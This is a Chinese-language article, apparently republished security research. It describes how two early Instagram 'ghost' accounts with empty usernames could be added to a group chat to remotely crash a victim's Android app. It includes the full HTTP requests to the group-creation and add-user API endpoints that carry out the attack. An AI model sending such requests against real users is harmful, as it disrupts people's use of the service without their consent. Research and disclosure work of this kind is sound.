您好,登錄后才能下訂單哦!
這篇文章給大家介紹怎么利用兩個(gè)僵尸賬戶實(shí)現(xiàn)對(duì)任意Instagram賬戶的遠(yuǎn)程崩潰,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。
通過(guò)對(duì)Instagram的安全研究,結(jié)合Instagram在構(gòu)造用戶名時(shí)遵循的規(guī)律機(jī)制,發(fā)現(xiàn)了Instagram后端數(shù)據(jù)庫(kù)中存在的兩個(gè)僵尸賬戶。然后通過(guò)創(chuàng)建聊天群組功能,利用這兩個(gè)僵尸賬戶的添加入群請(qǐng)求,可對(duì)群組成員實(shí)現(xiàn)Instagram應(yīng)用的遠(yuǎn)程崩潰攻擊。
在我對(duì)Instagram的安全研究中發(fā)現(xiàn),Instagram在其后端數(shù)據(jù)庫(kù)中,使用了簡(jiǎn)單的主鍵標(biāo)識(shí)符(Primary Key ID,PKID)遞增方式來(lái)定義分配其用戶賬戶,因此,我很好奇想去發(fā)現(xiàn),Instagram社交網(wǎng)絡(luò)上創(chuàng)建的第一批用戶賬戶到底是些什么?后來(lái),我發(fā)現(xiàn)當(dāng)PKID為3或4時(shí),其指向的對(duì)應(yīng)賬戶為Instagram創(chuàng)始人之一的Mike Krieger。
Primary Keys:主鍵,又稱主碼,數(shù)據(jù)庫(kù)表中對(duì)儲(chǔ)存數(shù)據(jù)對(duì)象予以唯一和完整標(biāo)識(shí)的數(shù)據(jù)列或?qū)傩缘慕M合。一個(gè)數(shù)據(jù)表只能有一個(gè)主鍵,且主鍵的取值不能缺失,即不能為空值(Null)。主鍵有時(shí)也稱主鍵標(biāo)識(shí)符(Primary Key IDs,PKID)。
相較于全局標(biāo)識(shí)符(GUID)來(lái)說(shuō),從技術(shù)角度來(lái)看,Primary Key IDs(PKID)具備幾個(gè)優(yōu)點(diǎn):容易記憶、增量變化的快速查詢、產(chǎn)生的數(shù)據(jù)庫(kù)碎片較少、遵循特定的模式、占用的存儲(chǔ)空間小。
有點(diǎn)意思了.....,但PKID = 1 或 PKID=2對(duì)應(yīng)的第一和第二個(gè)Instagram賬戶又是什么呢?經(jīng)我研究發(fā)現(xiàn),他們有點(diǎn)不尋常,它們對(duì)應(yīng)的賬戶用戶名并不是合理的構(gòu)造:確切地說(shuō),是其用戶名數(shù)據(jù)結(jié)構(gòu)中包含一個(gè)空字符串""(""分配了一個(gè)長(zhǎng)度為空的存儲(chǔ)空間),可以肯定的是這種分配設(shè)置絕對(duì)會(huì)導(dǎo)致其它問(wèn)題。我的想法是,這兩個(gè)賬戶是在Instagram的初始測(cè)試階段創(chuàng)建的,但當(dāng)時(shí)它只不過(guò)是一個(gè)alpha版本,為什么到現(xiàn)在這種測(cè)試賬戶還未被刪除,仍然存在Instagram的后端數(shù)據(jù)庫(kù)中呢?現(xiàn)在,我們暫且把這兩個(gè)測(cè)試賬戶稱為“幽靈賬戶”(Ghost Users)或僵尸賬戶吧。
可以肯定的是,如果服務(wù)端(Server-Side)對(duì)空字符串""的處理不當(dāng),那么一定會(huì)導(dǎo)致某些安全風(fēng)險(xiǎn)。由此我想到了一個(gè)點(diǎn)子:可以利用服務(wù)器后端對(duì)不當(dāng)格式畸形數(shù)據(jù)的錯(cuò)誤解析,來(lái)觸發(fā)Instagram應(yīng)用程序的崩潰。那要是能遠(yuǎn)程讓其他Instagram用戶發(fā)生崩潰,是不是就更有意思了呢?
通過(guò)對(duì)Instagram功能的測(cè)試研究,我發(fā)現(xiàn)可以利用其中一個(gè)功能來(lái)實(shí)現(xiàn)上述的說(shuō)的“遠(yuǎn)程崩潰”,那就是:Instagram消息標(biāo)簽(Messages Tab)下的群組(臨時(shí)聊天群)創(chuàng)建。這個(gè)功能對(duì)應(yīng)的群組創(chuàng)建請(qǐng)求和API為:
/api/v1/direct_v2/create_group_thread/
我用我的 Samsung Galaxy S8+ 配合Instagram 8.0的測(cè)試賬戶,先來(lái)創(chuàng)建一個(gè)兩人的臨時(shí)聊天群組試試,其請(qǐng)求如下:
POST /api/v1/direct_v2/create_group_thread/ HTTP/1.1User-Agent: Instagram ....Accept-Language: en-USCookie: urlgen= ....Accept-Encoding: gzip, deflateHost:i.instagram.comX-FB-HTTP-Engine: LigerConnection: closeContent-Length: 353signed_body=d963d5f048924a58712d8bcf7912ac76a7c3c990199c7d59ac25e7990e142f49.{"recipient_users":"[xxxxxxxxxx]","_csrftoken":"WBpZmckmENi6eiubd26Osz6SIR3vtowu","thread_title":"bdbdbdbdbdxb","_uid":"12579513534","_uuid":"d18570eb-0663-40f4-bcc3-0c48a5031cee"}&ig_sig_key_version=4
其中,"recipient_users"代表的是我拉進(jìn)這個(gè)臨時(shí)群組的另外一名用戶(這里稱他為Victim),xxxxxxxxxx代表了他的instagram ID。重點(diǎn)是其中的JSON參數(shù)數(shù)據(jù)對(duì)結(jié)構(gòu)?,F(xiàn)在,我和另外一名用戶的兩人臨時(shí)聊天群組創(chuàng)建完成。
緊接著,我通過(guò)另一個(gè)API,再來(lái)拖進(jìn)一名用戶加入這個(gè)群組。這里,我就要添加進(jìn)之前我們說(shuō)的“幽靈用戶”了。其請(qǐng)求如下:
POST /api/v1/direct_v2/threads/yyyyyyyyyy/add_user/ HTTP/1.1User-Agent: Instagram ....Accept-Language: en-USCookie: urlgen= ....Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateHost:i.instagram.comX-FB-HTTP-Engine: LigerConnection: closeContent-Length: 109_csrftoken=Pod4ZKSSLYUYMPs2TxhN5Xkmsv6xUOsO&user_ids=["2"]&_uuid=d18570eb-0663-40f4-bcc3-0c48a5031cee
上述請(qǐng)求中,yyyyyyyyyy是第一個(gè)創(chuàng)建群組請(qǐng)求時(shí),Instagram后端響應(yīng)消息中代表群組的ID號(hào)。我們?cè)谶@個(gè)請(qǐng)求中,請(qǐng)注意,填充進(jìn)一個(gè)值為2的user_ids字段,也就是PKID=1或2的,前述的一個(gè)“幽靈用戶”。
當(dāng)我們把這個(gè)添加“幽靈用戶”的請(qǐng)求發(fā)出后,群組內(nèi)成員的另一名用戶(Victim)手機(jī)上的Instagram應(yīng)用程序立即就發(fā)生了崩潰,并且所有群組成員都會(huì)被強(qiáng)制退出群組。
這很大可能是由于Instagram后端在解析“幽靈用戶”用戶名時(shí),其中的空字符串("")引發(fā)的解析錯(cuò)誤所導(dǎo)致的,以下是我從崩潰事件中的截獲的事件記錄:
目前,該漏洞僅在Instagram for Android應(yīng)用環(huán)境中測(cè)試有效,利用該Bug漏洞,可以通過(guò)添加正常成員入群,然后再添加進(jìn)入前述的“幽靈用戶”,以此來(lái)實(shí)現(xiàn)對(duì)任意Instagram賬戶的遠(yuǎn)程崩潰攻擊。
關(guān)于怎么利用兩個(gè)僵尸賬戶實(shí)現(xiàn)對(duì)任意Instagram賬戶的遠(yuǎn)程崩潰就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。